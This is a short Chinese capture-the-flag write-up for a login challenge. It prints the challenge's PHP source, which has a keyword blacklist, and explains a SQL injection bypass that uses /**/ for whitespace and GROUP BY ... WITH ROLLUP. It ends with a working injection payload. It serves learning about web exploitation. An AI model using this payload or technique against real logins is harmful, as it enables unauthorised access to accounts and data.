登录输入任何东西无果qwq,fuzz了一下运气好index.phps试出来了源码,夸夸自己:
<?php $flag=""; function replaceSpecialChar($strParam){ $regex = "/(select|from|where|join|sleep|and|\s|union|,)/i"; return preg_replace($regex,"",$strParam); } if (!$con) { die('Could not connect: ' . mysqli_error()); } if(strlen($username)!=strlen(replaceSpecialChar($username))){ die("sql inject error"); } if(strlen($password)!=strlen(replaceSpecialChar($password))){ die("sql inject error"); } $sql="select * from user where username = '$username'"; $result=mysqli_query($con,$sql); if(mysqli_num_rows($result)>0){ while($row=mysqli_fetch_assoc($result)){ if($password==$row['password']){ echo "登陆成功<br>"; echo $flag; } } } ?>
分析代码,过滤了select|from|where|join|sleep|and|空白字符|union,且不区分大小写。过滤空白字符好说,可以用/**/代替。
正常情况下:
return preg_replace($regex, "", $strParam);
把名单内替换为空,可以用双写绕过,但是这道题:
if(strlen($username)!=strlen(replaceSpecialChar($username))){ die("sql inject error"); }
它会检查用户输入值和替换黑名单后的长度是否一致,所以不能双写绕过。
再往下看,获取flag的条件是$password==$row[‘password’],然而并不知道什么密码呀,查询资料学到了这里可以用WITH ROLLUP绕过:
with rollup: 要配合 group by 一块儿使用,”group by password with rollup”,简单说一下,就是使用with rollup 查询以后,查询结果集合里面会多一条NULL 记录,这一题利用NULL 和空字符相等,而后获得flag。所以我们就是要通过with rollup使sql语句查询结果为null,然后不输入password使password为null
payload:‘or/**/1=1/**/group/**/by/**/password/**/with/**/rollup#
⚪参考: